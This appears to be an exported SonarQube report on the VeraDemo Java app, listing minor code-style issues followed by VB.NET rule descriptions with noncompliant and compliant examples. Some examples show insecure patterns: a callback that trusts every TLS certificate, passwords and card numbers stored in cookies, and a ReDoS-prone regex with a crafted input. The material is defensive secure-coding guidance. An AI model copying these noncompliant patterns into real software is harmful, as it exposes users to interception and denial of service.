java:S1170 MINOR src/main/java/com/veracode/verademo/controller/BlabController.java 40 Public constants and fields initialized at declaration should be "static final" rather than merely "final" Make this final field static too. AXc_pK_sm5cS9Pj0Iqn5 OPEN
java:S1170 MINOR src/main/java/com/veracode/verademo/controller/BlabController.java 36 Public constants and fields initialized at declaration should be "static final" rather than merely "final" Make this final field static too. AXc_pK_sm5cS9Pj0Iqn4 OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 67869 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsPu OPEN
java:S899 MINOR src/main/java/com/veracode/verademo/controller/UserController.java 864 Return values should not be ignored when they contain the operation status code Do something with the "boolean" value returned by "renameTo". AXc_pK_Wm5cS9Pj0Iqno OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 68177 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsPw OPEN
java:S2293 MINOR src/main/java/com/veracode/verademo/controller/UserController.java 824 The diamond operator ("<>") should be used Replace the type specification in this constructor call with the diamond operator ("<>"). (sonar.java.source not set. Assuming 7 or greater.) AXc_pK_Wm5cS9Pj0Iqnm OPEN
java:S899 MINOR src/main/java/com/veracode/verademo/controller/UserController.java 650 Return values should not be ignored when they contain the operation status code Do something with the "boolean" value returned by "delete". AXc_pK_Wm5cS9Pj0Iqni OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 74389 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsPz OPEN
java:S2293 MINOR src/main/java/com/veracode/verademo/controller/UserController.java 488 The diamond operator ("<>") should be used Replace the type specification in this constructor call with the diamond operator ("<>"). (sonar.java.source not set. Assuming 7 or greater.) AXc_pK_Wm5cS9Pj0Iqnc OPEN
java:S2293 MINOR src/main/java/com/veracode/verademo/controller/UserController.java 478 The diamond operator ("<>") should be used Replace the type specification in this constructor call with the diamond operator ("<>"). (sonar.java.source not set. Assuming 7 or greater.) AXc_pK_Wm5cS9Pj0Iqnb OPEN
java:S1659 MINOR src/main/java/com/veracode/verademo/controller/UserController.java 462 Multiple variables should not be declared on the same line Declare "myInfo" on a separate line. AXc_pK_Wm5cS9Pj0IqnZ OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 76194 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsP3 OPEN
java:S2147 MINOR src/main/java/com/veracode/verademo/controller/UserController.java 267 Catches should be combined Combine this catch with the one at line 265, which has the same body. (sonar.java.source not set. Assuming 7 or greater.) AXc_pK_Wm5cS9Pj0IqnQ OPEN
java:S1153 MINOR src/main/java/com/veracode/verademo/controller/ResetController.java 192 String.valueOf() should not be appended to a String Directly append the argument of String.valueOf(). AXc_pK_Nm5cS9Pj0Iqmw OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 82122 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsP6 OPEN
java:S1128 MINOR src/main/java/com/veracode/verademo/controller/xmlfilter.java 8 Unnecessary imports should be removed Remove this unused import 'java.io.IOException'. AXc_pK_Dm5cS9Pj0Iqmv OPEN
java:S101 MINOR src/main/java/com/veracode/verademo/controller/xmlfilter.java 10 Class names should comply with a naming convention Rename this class name to match the regular expression '^[A-Z][a-zA-Z0-9]*$'. AXc_pK_Dm5cS9Pj0Iqmu OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 82172 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsP9 OPEN
java:S1643 MINOR src/main/java/com/veracode/verademo/controller/ToolsController.java 101 Strings should not be concatenated using '+' in a loop Use a StringBuilder instead. AXc_pK-_m5cS9Pj0Iqmt OPEN
java:S1643 MINOR src/main/java/com/veracode/verademo/controller/ToolsController.java 69 Strings should not be concatenated using '+' in a loop Use a StringBuilder instead. AXc_pK-_m5cS9Pj0Iqms OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 82621 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsQA OPEN
java:S2147 MINOR src/main/java/com/veracode/verademo/utils/UserFactory.java 54 Catches should be combined Combine this catch with the one at line 51, which has the same body. (sonar.java.source not set. Assuming 7 or greater.) AXc_pK-nm5cS9Pj0Iqml OPEN
java:S1170 MINOR src/main/java/com/veracode/verademo/utils/Constants.java 13 Public constants and fields initialized at declaration should be "static final" rather than merely "final" Make this final field static too. AXc_pK9rm5cS9Pj0Iqmh OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 83702 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsQD OPEN
java:S1170 MINOR src/main/java/com/veracode/verademo/utils/Constants.java 11 Public constants and fields initialized at declaration should be "static final" rather than merely "final" Make this final field static too. AXc_pK9rm5cS9Pj0Iqmg OPEN
java:S1170 MINOR src/main/java/com/veracode/verademo/utils/Constants.java 10 Public constants and fields initialized at declaration should be "static final" rather than merely "final" Make this final field static too. AXc_pK9rm5cS9Pj0Iqmf OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 83923 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsQG OPEN
java:S1170 MINOR src/main/java/com/veracode/verademo/utils/Constants.java 9 Public constants and fields initialized at declaration should be "static final" rather than merely "final" Make this final field static too. AXc_pK9rm5cS9Pj0Iqme OPEN
java:S1170 MINOR src/main/java/com/veracode/verademo/utils/Constants.java 8 Public constants and fields initialized at declaration should be "static final" rather than merely "final" Make this final field static too. AXc_pK9rm5cS9Pj0Iqmd OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 83957 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsQJ OPEN
java:S1170 MINOR src/main/java/com/veracode/verademo/utils/Constants.java 7 Public constants and fields initialized at declaration should be "static final" rather than merely "final" Make this final field static too. AXc_pK9rm5cS9Pj0Iqmc OPEN
java:S116 MINOR src/main/java/com/veracode/verademo/utils/Constants.java 13 Field names should comply with a naming convention Rename this field "JDBC_PASSWORD" to match the regular expression '^[a-z][a-zA-Z0-9]*$'. AXc_pK9rm5cS9Pj0Iqmb OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 86435 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsQM OPEN
java:S116 MINOR src/main/java/com/veracode/verademo/utils/Constants.java 11 Field names should comply with a naming convention Rename this field "JDBC_USER" to match the regular expression '^[a-z][a-zA-Z0-9]*$'. AXc_pK9rm5cS9Pj0Iqma OPEN
java:S116 MINOR src/main/java/com/veracode/verademo/utils/Constants.java 10 Field names should comply with a naming convention Rename this field "JDBC_DATABASE" to match the regular expression '^[a-z][a-zA-Z0-9]*$'. AXc_pK9rm5cS9Pj0IqmZ OPEN
Web:TableWithoutCaptionCheck MINOR sonar.html 90985 "<table>" tags should have a description Add a description to this table. AXdD-YKMm5cS9Pj0IsQP OPEN
java:S116 MINOR src/main/java/com/veracode/verademo/utils/Constants.java 9 Field names should comply with a naming convention Rename this field "JDBC_PORT" to match the regular expression '^[a-z][a-zA-Z0-9]*$'. AXc_pK9rm5cS9Pj0IqmY OPEN
java:S116 MINOR src/main/java/com/veracode/verademo/utils/Constants.java 7 Field names should comply with a naming convention Rename this field "JDBC_DRIVER" to match the regular expression '^[a-z][a-zA-Z0-9]*$'. AXc_pK9rm5cS9Pj0IqmW OPEN

Known Security Rules

Rule Description
vbnet:S2372

Property getters should be simple operations that are always safe to call. If exceptions need to be thrown, it is best to convert the property to a method.

It is valid to throw exceptions from indexed property getters and from property setters, which are not detected by this rule.

Noncompliant Code Example

Module Module1
    Public Property Foo() As Integer
        Get
            Throw New Exception  ' Non-Compliant
        End Get
        Set(ByVal value As Integer)
            ' ... some code ...
        End Set
    End Property
End Module

Compliant Solution

Module Module1
    Sub SetFoo(ByVal value As Integer)         ' Compliant
        ' ... some code ...
    End Sub
End Module

Exceptions

No issue is raised when the thrown exception derives from or is of type NotImplementedException, NotSupportedException or InvalidOperationException.

vbnet:S3866

Visual Basic .NET offers a non-short-circuit conditional function, IIf(), which returns either its second or third parameter based on the expression in the first parameter. Using it is slower than using If() because each parameter is unconditionally evaluated. Further, its use can lead to runtime exceptions because IIf always evaluates all three of its arguments.

The newer version, If(), should be used instead because it short-circuits the evaluation of its parameters.

Noncompliant Code Example

Public Class Foo
    Public Sub Bar()
        Dim var As Object = IIf(Date.Now.Year = 1999, "Lets party!", "Lets party like it is 1999!") ' Noncompliant
    End Sub
End Class

Compliant Solution

Public Class Foo
    Public Sub Bar()
        Dim var As String = If(Date.Now.Year = 1999, "Lets party!", "Lets party like it is 1999!")
    End Sub
End Class

See

vbnet:S3869

Not surprisingly, the SafeHandle.DangerousGetHandle method is dangerous. That's because it may not return a valid handle. Using it can lead to leaks and vulnerabilities. While it is possible to use the method successfully, it's extremely difficult to do correctly, so the method should simply be avoided altogether.

Noncompliant Code Example

Sub Dangerous(fieldInfo As System.Reflection.FieldInfo)
  Dim handle As SafeHandle = CType(fieldInfo.GetValue(fieldInfo), SafeHandle)
  Dim dangerousHandle As IntPtr = handle.DangerousGetHandle ' Noncompliant
End Sub
vbnet:S4834

The access control of an application must be properly implemented in order to restrict access to resources to authorized entities otherwise this could lead to vulnerabilities:

Granting correct permissions to users, applications, groups or roles and defining required permissions that allow access to a resource is sensitive, must therefore be done with care. For instance, it is obvious that only users with administrator privilege should be authorized to add/remove the administrator permission of another user.

Ask Yourself Whether

  • Granted permission to an entity (user, application) allow access to information or functionalities not needed by this entity.
  • Privileges are easily acquired (eg: based on the location of the user, type of device used, defined by third parties, does not require approval ...).
  • Inherited permission, default permission, no privileges (eg: anonymous user) is authorized to access to a protected resource.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

At minimum, an access control system should:

  • Use a well-defined access control model like RBAC or ACL.
  • Entities' permissions should be reviewed regularly to remove permissions that are no longer needed.
  • Respect the principle of least privilege ("_an entity has access only the information and resources that are necessary for its legitimate purpose_").

Sensitive Code Example

Imports System.Threading
Imports System.Security.Permissions
Imports System.Security.Principal
Imports System.IdentityModel.Tokens

Class SecurityPrincipalDemo
    Class MyIdentity
        Implements IIdentity ' Sensitive, custom IIdentity implementations should be reviewed
    End Class

    Class MyPrincipal
        Implements IPrincipal ' Sensitive, custom IPrincipal implementations should be reviewed
    End Class

    <System.Security.Permissions.PrincipalPermission(SecurityAction.Demand, Role:="Administrators")> ' Sensitive. The access restrictions enforced by this attribute should be reviewed.
    Private Shared Sub CheckAdministrator()
        Dim MyIdentity As WindowsIdentity = WindowsIdentity.GetCurrent() ' Sensitive

        HttpContext.User = ... ' Sensitive: review all reference (set and get) to System.Web HttpContext.User

        Dim domain As AppDomain = AppDomain.CurrentDomain
        domain.SetPrincipalPolicy(PrincipalPolicy.WindowsPrincipal) ' Sensitive

        Dim identity As MyIdentity = New MyIdentity() ' Sensitive
        Dim MyPrincipal As MyPrincipal = New MyPrincipal(MyIdentity) ' Sensitive
        Thread.CurrentPrincipal = MyPrincipal ' Sensitive
        domain.SetThreadPrincipal(MyPrincipal) ' Sensitive

        Dim principalPerm As PrincipalPermission = New PrincipalPermission(Nothing, "Administrators")  ' Sensitive
        principalPerm.Demand()

        Dim handler As SecurityTokenHandler = ...
        Dim identities As ReadOnlyCollection(Of ClaimsIdentity) = handler.ValidateToken()  ' Sensitive, this creates identity
    End Sub

    ' Sensitive: review how this function uses the identity and principal.
    Private Sub modifyPrincipal(ByVal identity As MyIdentity, ByVal principal As MyPrincipal)
    End Sub
End Class

See

vbnet:S3903

Types are declared in namespaces in order to prevent name collisions and as a way to organize them into the object hierarchy. Types that are defined outside any named namespace are in a global namespace that cannot be referenced in code.

Noncompliant Code Example

Public Class Foo
End Class

Public Structure Bar
End Structure

Compliant Solution

Namespace SomeSpace
    Public Class Foo
    End Class

    Public Structure Bar
    End Structure
End Namespace
vbnet:S2374

Unsigned integers have different arithmetic operators than signed ones - operators that few developers understand. Therefore, signed types should be preferred where possible.

Noncompliant Code Example

Module Module1
    Sub Main()
        Dim foo1 As UShort   ' Noncompliant
        Dim foo2 As UInteger ' Noncompliant
        Dim foo3 As ULong    ' Noncompliant
    End Sub
End Module

Compliant Solution

Module Module1
    Sub Main()
        Dim foo1 As Short
        Dim foo2 As Integer
        Dim foo3 As Long
    End Sub
End Module
vbnet:S2373

Shared naming conventions allow teams to collaborate efficiently. This rule checks that all generic type parameter names match a provided regular expression.

The default configuration is the one recommended by Microsoft:

  • Must start with an upper case 'T' character, e.g. T
  • Followed by Pascal casing, starting with an upper case character, e.g. TKey
  • Short abbreviations of 2 letters can be capitalized, e.g. TFooID
  • Longer abbreviations need to be lower cased, e.g. TFooHtml

Noncompliant Code Example

With the default parameter value ^T(([A-Z]{1,3}[a-z0-9]+)*([A-Z]{2})?)?$:

Public Class Foo(Of t) ' Noncompliant
End Class

Compliant Solution

Public Class Foo(Of T) ' Compliant
End Class
vbnet:S2255

Using cookies is security-sensitive. It has led in the past to the following vulnerabilities:

Attackers can use widely-available tools to read cookies. Any sensitive information they may contain will be exposed.

This rule flags code that writes cookies.

Ask Yourself Whether

  • sensitive information is stored inside the cookie.

You are at risk if you answered yes to this question.

Recommended Secure Coding Practices

Cookies should only be used to manage the user session. The best practice is to keep all user-related information server-side and link them to the user session, never sending them to the client. In a very few corner cases, cookies can be used for non-sensitive information that need to live longer than the user session.

Do not try to encode sensitive information in a non human-readable format before writing them in a cookie. The encoding can be reverted and the original information will be exposed.

Using cookies only for session IDs doesn't make them secure. Follow OWASP best practices when you configure your cookies.

As a side note, every information read from a cookie should be Sanitized.

Sensitive Code Example

' === .NET Framework ===

Dim myCookie As HttpCookie = New HttpCookie("UserSettings")
myCookie("CreditCardNumber") = "1234 1234 1234 1234" ' Sensitive; sensitive data stored
myCookie.Values("password") = "5678" ' Sensitive
myCookie.Value = "mysecret" ' Sensitive
...
Response.Cookies.Add(myCookie)


' === .NET Core ===

Response.Headers.Add("Set-Cookie", ...) ' Sensitive
Response.Cookies.Append("mykey", "myValue") ' Sensitive

See

Deprecated

This rule is deprecated, and will eventually be removed.

vbnet:S2376

Properties with only setters are confusing and counterintuitive. Instead, a property getter should be added if possible, or the property should be replaced with a setter method.

Noncompliant Code Example

Module Module1
    WriteOnly Property Foo() As Integer ' Non-Compliant
        Set(ByVal value As Integer)
            ' ... some code ...
        End Set
    End Property
End Module

Compliant Solution

Module Module1
    Sub SetFoo(ByVal value As Integer)  ' Compliant
        ' ... some code ...
    End Sub
End Module
vbnet:S3981

The size of a collection and the length of an array are always greater than or equal to zero. So testing that a size or length is greater than or equal to zero doesn't make sense, since the result is always true. Similarly testing that it is less than zero will always return false. Perhaps the intent was to check the non-emptiness of the collection or array instead.

Noncompliant Code Example

If Collection.Count >= 0 Then ...

If Enumerable.Count < 0 Then ...

If array.Length >= 0 Then ...

Dim result As Boolean = Array.Length >= 0

Compliant Solution

If list.Count = 0 Then ...
If array.Length >= 42 Then ...
vbnet:S4277

Marking a class with PartCreationPolicy(CreationPolicy.Shared), which is part of Managed Extensibility Framework (MEF), means that a single, shared instance of the exported object will be created. Therefore it doesn't make sense to create new instances using the constructor and it will most likely result in unexpected behaviours.

This rule raises an issue when a constructor of a class marked shared with a PartCreationPolicyAttribute is invoked.

Noncompliant Code Example

<Export(GetType(IFooBar))>
<PartCreationPolicy(CreationPolicy.[Shared])>
Public Class FooBar
    Inherits IFooBar
End Class

Public Class Program
    Public Shared Sub Main()
        Dim fooBar = New FooBar() ' Noncompliant
    End Sub
End Class

Compliant Solution

<Export(GetType(IFooBar))>
<PartCreationPolicy(CreationPolicy.[Shared])>
Public Class FooBar
    Inherits IFooBar
End Class

Public Class Program
    Public Shared Sub Main()
        Dim fooBar = serviceProvider.GetService(Of IFooBar)()
    End Sub
End Class
vbnet:S3860

Since Visual Studio 2010 SP1, the ByVal parameter modifier is implicitly applied, and therefore not required anymore. Removing it from your source code will improve readability.

Noncompliant Code Example

Sub Foo(ByVal bar As String)
  ' ...
End Sub

Compliant Solution

Sub Foo(bar As String)
  ' ...
End Sub
vbnet:S3464

Recursion is acceptable in methods, where you can break out of it. But with class types, you end up with code that will compile but not run if you try to instantiate the class.

Noncompliant Code Example

Class C1(Of T)
End Class
Class C2(Of T)
    Inherits C1(Of C2 (Of T))
End Class
' ...
Dim c2 = New C2(Of Integer)
vbnet:S2375

Using the With statement for a series of calls to the same object makes the code more readable.

Noncompliant Code Example

With the default value of 6:

Module Module1
    Dim product = New With {.Name = "paperclips", .RetailPrice = 1.2, .WholesalePrice = 0.6, .A = 0, .B = 0, .C = 0}

    Sub Main()
        product.Name = ""           ' Noncompliant
        product.RetailPrice = 0
        product.WholesalePrice = 0
        product.A = 0
        product.B = 0
        product.C = 0
    End Sub
End Module

Compliant Solution

Module Module1
    Dim product = New With {.Name = "paperclips", .RetailPrice = 1.2, .WholesalePrice = 0.6, .A = 0, .B = 0, .C = 0}

    Sub Main()
        With product
            .Name = ""
            .RetailPrice = 0
            .WholesalePrice = 0
            .A = 0
            .B = 0
            .C = 0
        End With
    End Sub
End Module
vbnet:S3466

Generally, writing the least code that will readably do the job is a good thing, so omitting default parameter values seems to make sense. Unfortunately, when you omit them from the base call in an override, you're not actually getting the job done thoroughly, because you're ignoring the value the caller passed in. The result will likely not be what the caller expected.

Noncompliant Code Example

Public Class BaseClass
    Public Overridable Sub MyMethod(ByVal Optional i As Integer = 1)
        Console.WriteLine(i)
    End Sub
End Class

Public Class DerivedClass
    Inherits BaseClass

    Public Overrides Sub MyMethod(ByVal Optional i As Integer = 1)
        ' ...
        MyBase.MyMethod() ' Noncompliant; caller's value is ignored
    End Sub

    Private Shared Function Main(ByVal args As String()) As Integer
        Dim dc As DerivedClass = New DerivedClass()
        dc.MyMethod(12) ' prints 1
    End Function
End Class

Compliant Solution

Public Class BaseClass
    Public Overridable Sub MyMethod(ByVal Optional i As Integer = 1)
        Console.WriteLine(i)
    End Sub
End Class

Public Class DerivedClass
    Inherits BaseClass

    Public Overrides Sub MyMethod(ByVal Optional i As Integer = 1)
        ' ...
        MyBase.MyMethod(i)
    End Sub

    Private Shared Function Main(ByVal args As String()) As Integer
        Dim dc As DerivedClass = New DerivedClass()
        dc.MyMethod(12) ' prints 12
    End Function
End Class

vbnet:S4830

Validation of X.509 certificates is essential to create secure SSL/TLS sessions not vulnerable to man-in-the-middle attacks.

The certificate chain validation includes these steps:

  • The certificate is issued by its parent Certificate Authority or the root CA trusted by the system.
  • Each CA is allowed to issue certificates.
  • Each certificate in the chain is not expired.

It's not recommended to reinvent the wheel by implementing custom certificate chain validation.

TLS libraries provide built-in certificate validation functions that should be used.

Noncompliant Code Example

ServicePointManager.ServerCertificateValidationCallback =
    Function(sender, certificate, chain, errors) True ' Noncompliant: trust all certificates

Compliant Solution

ServicePointManager.ServerCertificateValidationCallback =
    Function(sender, certificate, chain, errors)
        If Development Then Return True ' For development, trust all certificates
        Return Errors = SslPolicyErrors.None AndAlso ValidCerts.Contains(certificate.GetCertHashString()) ' Compliant: trust only some certificates
    End Function

See

vbnet:S1048

If Finalize or an override of Finalize throws an exception, and the runtime is not hosted by an application that overrides the default policy, the runtime terminates the process immediately without graceful cleanup (finally blocks and finalizers are not executed). This behavior ensures process integrity if the finalizer cannot free or destroy resources.

The rule reports on throw statements used in finalizers.

Noncompliant Code Example

Class MyClass
    Protected Overrides Sub Finalize()
        Throw New NotImplementedException() ' Noncompliant
    End Sub
End Class

Compliant Solution

Class MyClass
    Protected Overrides Sub Finalize()
        ' No throw
    End Sub
End Class
vbnet:S4159

In the Attributed Programming Model, the ExportAttribute declares that a part "exports", or provides to the composition container, an object that fulfills a particular contract. During composition, parts with imports that have matching contracts will have those dependencies filled by the exported object.

If the type doesn't implement the interface it is exporting there will be an issue at runtime (either a cast exception or just a container not filled with the exported type) leading to unexpected behaviors/crashes.

The rule raises an issue when a class doesn't implement or inherit the type declared in the ExportAttribute.

Noncompliant Code Example

<Export(GetType(ISomeType))>
Public Class SomeType  // Noncompliant; doesn't implement 'ISomeType'.
End Class

Compliant Solution

<Export(GetType(ISomeType))>
Public Class SomeType
    Inherits ISomeType
End Class
vbnet:S4260

When creating a custom Markup Extension that accepts parameters in WPF, the ConstructorArgument markup must be used to identify the discrete properties that match these parameters. However since this is done via a string, the compiler will not notice if there are typos.

This rule raises an issue when the string argument to ConstructorArgumentAttribute doesn't match any parameter of any constructor.

Noncompliant Code Example

Imports System

Namespace myLibrary
    Public Class MyExtension
        Inherits MarkupExtension

        Public Sub New()
        End Sub

        Public Sub New(ByVal value1 As Object)
            Value1 = value1
        End Sub

        <ConstructorArgument("value2")> ' Noncompliant
        Public Property Value1 As Object
    End Class
End Namespace

Compliant Solution

Imports System

Namespace MyLibrary
    Public Class MyExtension
        Inherits MarkupExtension

        Public Sub New()
        End Sub

        Public Sub New(ByVal value1 As Object)
            Value1 = value1
        End Sub

        <ConstructorArgument("value1")>
        Public Property Value1 As Object
    End Class
End Namespace
vbnet:S4142

There are valid cases for passing a variable multiple times into the same method call, but usually doing so is a mistake, and something else was intended for one of the arguments.

Noncompliant Code Example

If compare(myPoint.x, myPoint.x) <> 0 Then ' Noncompliant
    '...
End If

If compare(getNextValue(), getNextValue()) <> 0 Then ' Noncompliant
    '...
End If

Compliant Solution

If compare(myPoint.x, myPoint.y) <> 0 Then
    '...
End If

Dim v1 As Integer = getNextValue()
Dim v2 As Integer = getNextValue()
If compare(v1, v2) <> 0 Then
    '...
End If

Deprecated

This rule is deprecated, and will eventually be removed.

vbnet:S126

This rule applies whenever an If statement is followed by one or more ElseIf statements; the final ElseIf should be followed by an Else statement.

The requirement for a final Else statement is defensive programming.

The Else statement should either take appropriate action or contain a suitable comment as to why no action is taken. This is consistent with the requirement to have a final Case Else clause in a Select Case statement.

Noncompliant Code Example

If x = 0 Then
    DoSomething()
ElseIf x = 1 Then
    DoSomethingElse()
End If

Compliant Solution

If x = 0 Then
    DoSomething()
ElseIf x = 1 Then
    DoSomethingElse()
Else
    Throw New ArgumentException("...")
End If

Exceptions

None

See

vbnet:S4143

It is highly suspicious when a value is saved for a key or index and then unconditionally overwritten. Such replacements are likely errors.

Noncompliant Code Example

towns.Item(x) = "London"
towns.Item(x) = "Chicago";  // Noncompliant
vbnet:S2360

The overloading mechanism should be used in place of optional parameters for several reasons:

  • Optional parameter values are baked into the method call site code, thus, if a default value has been changed, all referencing assemblies need to be rebuilt, otherwise the original values will be used.
  • The Common Language Specification (CLS) allows compilers to ignore default parameter values, and thus require the caller to explicitly specify the values. For example, if you want to consume a method with default argument from another .NET compatible language (for instance C++/CLI), you will have to provide all arguments. When using method overloads, you could achieve similar behavior as default arguments.
  • Optional parameters prevent muddying the definition of the function contract. Here is a simple example: if there are two optional parameters, when one is defined, is the second one still optional or mandatory?

Noncompliant Code Example

Sub Notify(ByVal Company As String, Optional ByVal Office As String = "QJZ") ' Noncompliant

End Sub

Compliant Solution

Sub Notify(ByVal Company As String)
  Notify(Company, "QJZ")
End Sub

Sub Notify(ByVal Company As String, ByVal Office As String)

End Sub

Exceptions

The rule ignores non externally visible methods.

vbnet:S1151

The Select...Case statement should be used only to clearly define some new branches in the control flow. As soon as a case clause contains too many statements this highly decreases the readability of the overall control flow statement. In such case, the content of the case clause should be extracted into a dedicated procedure.

Noncompliant Code Example

With the default threshold of 3:

Select Case number
    Case 1 To 5 ' Noncompliant: 4 statements in the case
        MethodCall1("")
        MethodCall2("")
        MethodCall3("")
        MethodCall4("")
    Case Else
        ' ...
End Select

Compliant Solution

Select Case number
    Case 1 To 5
        DoSomething()
    Case Else
        ' ...
End Select
...
Sub DoSomething()
    MethodCall1("")
    MethodCall2("")
    MethodCall3("")
    MethodCall4("")
End Sub
vbnet:S4823

Using command line arguments is security-sensitive. It has led in the past to the following vulnerabilities:

Command line arguments can be dangerous just like any other user input. They should never be used without being first validated and sanitized.

Remember also that any user can retrieve the list of processes running on a system, which makes the arguments provided to them visible. Thus passing sensitive information via command line arguments should be considered as insecure.

This rule raises an issue when on every program entry points (main methods) when command line arguments are used. The goal is to guide security code reviews.

Ask Yourself Whether

  • any of the command line arguments are used without being sanitized first.
  • your application accepts sensitive information via command line arguments.

If you answered yes to any of these questions you are at risk.

Recommended Secure Coding Practices

Sanitize all command line arguments before using them.

Any user or application can list running processes and see the command line arguments they were started with. There are safer ways of providing sensitive information to an application than exposing them in the command line. It is common to write them on the process' standard input, or give the path to a file containing the information.

Sensitive Code Example

Module Program
    Sub Main(args As String()) ' Sensitive as there is a reference to "args" in the procedure.
        Console.WriteLine(args(0))
    End Sub
End Module

See

Deprecated

This rule is deprecated, and will eventually be removed.

vbnet:S4428

The PartCreationPolicyAttribute attribute, which is part of the Managed Extensibility Framework (MEF), is used to specify how the exported object will be created. Therefore it doesn't make sense not to export this a class with this attribute using the ExportAttribute attribute.

This rule raises an issue when a class is marked as shared with a PartCreationPolicyAttribute but lacks a ExportAttribute.

Noncompliant Code Example

<PartCreationPolicy(CreationPolicy.Any)> ' Noncompliant
Public Class FooBar
    Inherits IFooBar
End Class

Compliant Solution

<Export(GetType(IFooBar))>
<PartCreationPolicy(CreationPolicy.Any)>
Public Class FooBar
    Inherits IFooBar
End Class
vbnet:S4829

Reading Standard Input is security-sensitive. It has led in the past to the following vulnerabilities:

It is common for attackers to craft inputs enabling them to exploit software vulnerabilities. Thus any data read from the standard input (stdin) can be dangerous and should be validated.

This rule flags code that reads from the standard input.

Ask Yourself Whether

  • data read from the standard input is not sanitized before being used.

You are at risk if you answered yes to this question.

Recommended Secure Coding Practices

Sanitize all data read from the standard input before using it.

Sensitive Code Example

Imports System
Public Class C
    Public Sub Main()
        Dim x = Console.[In] ' Sensitive
        Console.Read() ' Sensitive
        Console.ReadKey() ' Sensitive
        Console.ReadLine() ' Sensitive
        Console.OpenStandardInput() ' Sensitive
    End Sub
End Class

Exceptions

This rule does not raise issues when the return value of the Console.Read Console.ReadKey or Console.ReadLine methods is ignored.

Imports System

Public Class C
    Public Sub Main()
        Console.ReadKey() ' Return value is ignored
        Console.ReadLine() ' Return value is ignored
    End Sub
End Class

See:

Deprecated

This rule is deprecated, and will eventually be removed.

vbnet:S4784

Using regular expressions is security-sensitive. It has led in the past to the following vulnerabilities:

Evaluating regular expressions against input strings is potentially an extremely CPU-intensive task. Specially crafted regular expressions such as (a+)+s will take several seconds to evaluate the input string aaaaaaaaaaaaaaaaaaaaaaaaaaaaabs. The problem is that with every additional a character added to the input, the time required to evaluate the regex doubles. However, the equivalent regular expression, a+s (without grouping) is efficiently evaluated in milliseconds and scales linearly with the input size.

Evaluating such regular expressions opens the door to Regular expression Denial of Service (ReDoS) attacks. In the context of a web application, attackers can force the web server to spend all of its resources evaluating regular expressions thereby making the service inaccessible to genuine users.

This rule flags any execution of a hardcoded regular expression which has at least 3 characters and at least two instances of any of the following characters: *+{.

Example: (a+)*

Ask Yourself Whether

  • the executed regular expression is sensitive and a user can provide a string which will be analyzed by this regular expression.
  • your regular expression engine performance decrease with specially crafted inputs and regular expressions.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Check whether your regular expression engine (the algorithm executing your regular expression) has any known vulnerabilities. Search for vulnerability reports mentioning the one engine you're are using.

If the regular expression is vulnerable to ReDos attacks, mitigate the risk by using a "match timeout" to limit the time spent running the regular expression.

Remember also that a ReDos attack is possible if a user-provided regular expression is executed. This rule won't detect this kind of injection.

Sensitive Code Example

Imports System
Imports System.Collections.Generic
Imports System.Linq
Imports System.Runtime.Serialization
Imports System.Text.RegularExpressions
Imports System.Web

Namespace N
    Public Class RegularExpression
        Private Sub Foo(ByVal pattern As String, ByVal options As RegexOptions, ByVal matchTimeout As TimeSpan,
                        ByVal input As String, ByVal replacement As String, ByVal evaluator As MatchEvaluator)
            ' All the following instantiations are Sensitive. Validate the regular expression and matched input.
            Dim r As Regex = New System.Text.RegularExpressions.Regex("(a+)+b")
            r = New System.Text.RegularExpressions.Regex("(a+)+b", options)
            r = New System.Text.RegularExpressions.Regex("(a+)+b", options, matchTimeout)

            ' All the following static methods are Sensitive.
            System.Text.RegularExpressions.Regex.IsMatch(input, "(a+)+b")
            System.Text.RegularExpressions.Regex.IsMatch(input, "(a+)+b", options)
            System.Text.RegularExpressions.Regex.IsMatch(input, "(a+)+b", options, matchTimeout)

            System.Text.RegularExpressions.Regex.Match(input, "(a+)+b")
            System.Text.RegularExpressions.Regex.Match(input, "(a+)+b", options)
            System.Text.RegularExpressions.Regex.Match(input, "(a+)+b", options, matchTimeout)

            System.Text.RegularExpressions.Regex.Matches(input, "(a+)+b")
            System.Text.RegularExpressions.Regex.Matches(input, "(a+)+b", options)
            System.Text.RegularExpressions.Regex.Matches(input, "(a+)+b", options, matchTimeout)

            System.Text.RegularExpressions.Regex.Replace(input, "(a+)+b", evaluator)
            System.Text.RegularExpressions.Regex.Replace(input, "(a+)+b", evaluator, options)
            System.Text.RegularExpressions.Regex.Replace(input, "(a+)+b", evaluator, options, matchTimeout)
            System.Text.RegularExpressions.Regex.Replace(input, "(a+)+b", replacement)
            System.Text.RegularExpressions.Regex.Replace(input, "(a+)+b", replacement, options)
            System.Text.RegularExpressions.Regex.Replace(input, "(a+)+b", replacement, options, matchTimeout)

            System.Text.RegularExpressions.Regex.Split(input, "(a+)+b")
            System.Text.RegularExpressions.Regex.Split(input, "(a+)+b", options)
            System.Text.RegularExpressions.Regex.Split(input, "(a+)+b", options, matchTimeout)
        End Sub
    End Class
End Namespace

Exceptions

Some corner-case regular expressions will not raise an issue even though they might be vulnerable. For example: (a|aa)+, (a|a?)+.

It is a good idea to test your regular expression if it has the same pattern on both side of a "|".

See

vbnet:S2363

Shared coding conventions allow teams to collaborate efficiently. This rule checks that all Private Shared ReadOnly field names comply with the provided regular expression.
